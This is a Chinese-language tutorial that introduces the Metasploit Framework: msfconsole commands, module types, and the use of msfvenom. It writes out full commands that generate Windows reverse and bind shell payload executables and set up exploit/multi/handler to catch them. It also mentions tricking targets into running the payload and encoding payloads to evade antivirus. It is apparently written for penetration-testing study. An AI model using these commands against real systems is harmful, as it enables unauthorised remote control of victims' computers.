MSF内的一些功能简介
MSF是Metasploit Framework的简称一个全球最知名的开源渗透测试框架。它主要用于安全评估、漏洞验证和渗透测试。msfconsole是 MSF 最主要、最常用的命令行交互界面在 Kali 的终端输入 msfconsole 就可以启动了。常见的一些指令help显示出所有可以用的指令search关键词可以搜索一些模块或者一些已知的历史漏洞等等use编号或者路径使用选定的模块show options查看当前模块需要配置的参数set参数填写参数workspace管理工作区用于隔离不同项目的数据run运行会使用这些常见的指令就可以运行大部分模块的内容了接下来介绍 MSF 中主要的模块内容Exploits (漏洞利用模块)针对特定系统或软件的漏洞执行代码以获取目标系统访问权限。“破门工具”利用漏洞打开目标系统的大门。Payloads (载荷模块)在成功利用漏洞后于目标系统上执行的代码如建立Shell连接。“进门后干的事”比如建立连接、执行命令。Auxiliary (辅助模块)执行扫描、指纹识别、拒绝服务等但不建立Shell的模块。“侦察兵”用于信息收集和探测。Encoders (编码器模块)对Payload进行编码或混淆以绕过防火墙或杀毒软件的检测。“伪装工具”帮助Payload躲避安全软件的查杀。Post-Exploitation (后渗透模块)在成功获取访问权后用于进一步信息收集、权限维持等操作。“打扫战场”在系统内深入探测和扩展战果。msfvenom 是 MSF 框架中独立的 Payload 生成和编码工具其核心作用就是生成一个能在目标系统上运行的程序。这个程序的作用通常是主动连接回攻击者的电脑建立一个反向 Shell。之后攻击者在 msfconsole 中设置监听就能接收并控制这个 Shell。msfvenom 的主要流程使用 msfvenom 生成 Payload在攻击机上用 msfvenom 命令生成一个包含恶意代码的文件如 payload.exe。例如msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f exe -o payload.exewindows/meterpreter/reverse_tcp 是反向连接的 payloadLHOST 是本地的 IP 地址就是 Kali 的 IPLPORT 是默认的监听端口在目标系统上执行Payload通过社会工程学、漏洞利用等方式诱使目标系统运行这个 payload.exe 文件。在msfconsole中监听连接在攻击机上启动msfconsole使用exploit/multi/handler模块设置一个与生成Payload时相同的监听器IP和端口建立控制会话一旦目标系统上的Payload被执行它就会主动连接攻击机的监听器从而建立一个控制会话Meterpreter或Shell)上述中提到了一个反向连接那么其实也是有正向连接的这两者的本质区别就是谁去连谁谁主动发起网络连接生成的payload是不同的正向为bind_tcp类型(如 Payload windows/shel1/bind_tcp)反向为 reverse_tcp类型 如windows/meterpreter/reverse_tcp)关键的参数不同正向是rhost和lport反向是lhost和lport正向连接(Bind Shell)——“你去连它”工作流程在目标机器上植入的Payload会开启一个端口如4444并监听。攻击者主动使用msfconsole去连接这个IP和端口。图例具体例子假设你在内网192.168.1.0/24里发现一台服务器192.168.1.9# 1. 生成Payload目标机运行msfvenom -p windows/shell/bind_tcp RHOST0.0.0.0 LPORT4444 -f exe -o bind.exe# 2. msfconsole 设置监听攻击机执行msfconsoleuse exploit/multi/handlerset payload windows/shell/bind_tcpset RHOST 192.168.1.9 # 目标是IPset LPORT 4444 # 目标是端口exploit # 攻击机主动去连接192.168.1.9:4444反向连接 (Reverse Shell)——“让它来连你工作流程攻击者在自己的机器上开启监听端口如4444。植入目标机器的Payload运行后会主动向外发起TCP连接连接到你攻击机的IP和端口。图列具体例子假设你的攻击机有公网IP如192.168.45.12目标在内网。# 1. 生成Payload目标机运行msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.45.12 LPORT4444 -f exe -o reverse.exe# 2. msfconsole 设置监听攻击机执行msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 0.0.0.0 # 监听本机所有网卡set LPORT 4444 # 攻击机开放的端口exploit # 攻击机开始等待目标连接反向连接更为我们常用是因为企业的防火墙通常严进宽出防止外部入侵但允许内部上网。目标机的Payload发起出站连接访问你的192.168.45.12:4444通常会被防火墙放行因此反向连接成功率远高于正向。本文内容要在合法的范围内使用